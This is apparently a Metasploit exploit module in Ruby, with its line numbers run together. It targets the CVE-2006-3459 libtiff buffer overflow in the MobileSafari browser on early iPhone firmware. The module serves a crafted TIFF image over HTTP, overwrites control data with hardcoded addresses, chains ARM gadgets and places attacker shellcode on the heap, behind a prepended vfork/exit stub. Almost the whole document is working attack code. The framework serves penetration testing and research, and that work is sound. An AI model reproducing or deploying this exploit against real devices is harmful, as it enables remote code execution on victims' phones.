Path: blob/master/modules/exploits/apple_ios/browser/safari_libtiff.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78#9# This module acts as an HTTP server10#11include Msf::Exploit::Remote::HttpServer::HTML1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Apple iOS MobileSafari LibTIFF Buffer Overflow',18'Description' => %q{19This module exploits a buffer overflow in the version of20libtiff shipped with firmware versions 1.00, 1.01, 1.02, and211.1.1 of the Apple iPhone. iPhones which have not had the BSD22tools installed will need to use a special payload.23},24'License' => MSF_LICENSE,25'Author' => ['hdm', 'kf'],26'References' => [27['CVE', '2006-3459'],28['OSVDB', '27723'],29['BID', '19283']30],31'Payload' => {32'Space' => 1800,33'BadChars' => '',3435# Multi-threaded applications are not allowed to execve() on OS X36# This stub injects a vfork/exit in front of the payload37'Prepend' =>38[390xe3a0c042, # vfork400xef000080, # sc410xe3500000, # cmp r0, #0420x1a000001, # bne430xe3a0c001, # exit(0)440xef000080 # sc45].pack('V*')46},47'Arch' => ARCH_ARMLE,48'Platform' => %w[osx],49'Targets' => [50[51'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',52{53'Platform' => 'osx',5455# Scratch space for our shellcode and stack56'Heap' => 0x00802000,5758# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib59'Magic' => 0x300d562c60}61],62],63'DefaultTarget' => 0,64'DisclosureDate' => '2006-08-01',65'Notes' => {66'Stability' => [ CRASH_SERVICE_DOWN ],67'SideEffects' => [ IOC_IN_LOGS ],68'Reliability' => [ UNRELIABLE_SESSION ]69}70)71)72end7374def on_request_uri(cli, _req)75# Re-generate the payload76return if (p = regenerate_payload(cli)).nil?7778# Grab reference to the target79t = target8081print_status('Sending exploit')8283# Transmit the compressed response to the client84send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })8586# Handle the payload87handler(cli)88end8990def generate_tiff(_code, targ)91#92# This is a TIFF file, we have a huge range of evasion93# capabilities, but for now, we don't use them.94# - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday95#9697lolz = 204898tiff = "\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"99tiff << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"100tiff << "\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"101tiff << "\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"102tiff << "\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"103tiff << "\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"104tiff << "\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"105tiff << "\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"106tiff << "\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"107tiff << "\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"108tiff << [lolz].pack('V')109tiff << "\x84\x00\x00\x00\x00\x00\x00\x00"110111# Randomize the bajeezus out of our data112hehe = rand_text(lolz)113114# Were going to candy mountain!115hehe[120, 4] = [targ['Magic']].pack('V')116117# >> add r0, r4, #0x30118hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack('V')119120# Candy mountain, Charlie!121# >> mov r1, sp122123# It will be an adventure!124# >> mov r2, r8125hehe[92, 4] = [ hehe.length ].pack('V')126127# Its a magic leoplurodon!128# It has spoken!129# It has shown us the way!130# >> bl _memcpy131132# Its just over this bridge, Charlie!133# This magical bridge!134# >> ldr r3, [r4, #32]135# >> ldrt r3, [pc], r3, lsr #30136# >> str r3, [r4, #32]137# >> ldr r3, [r4, #36]138# >> ldrt r3, [pc], r3, lsr #30139# >> str r3, [r4, #36]140# >> ldr r3, [r4, #40]141# >> ldrt r3, [pc], r3, lsr #30142# >> str r3, [r4, #40]143# >> ldr r3, [r4, #44]144# >> ldrt r3, [pc], r3, lsr #30145# >> str r3, [r4, #44]146147# We made it to candy mountain!148# Go inside Charlie!149# sub sp, r7, #0x14150hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack('V')151152# Goodbye Charlie!153# ;; targ['Heap'] + 0x48 becomes the stack pointer154# >> ldmia sp!, {r8, r10}155156# Hey, what the...!157# >> ldmia sp!, {r4, r5, r6, r7, pc}158159# Return back to the copied heap data160hehe[192, 4] = [ targ['Heap'] + 196 ].pack('V')161162# Insert our actual shellcode at heap location + 196163hehe[196, payload.encoded.length] = payload.encoded164165tiff << hehe166end167end168169170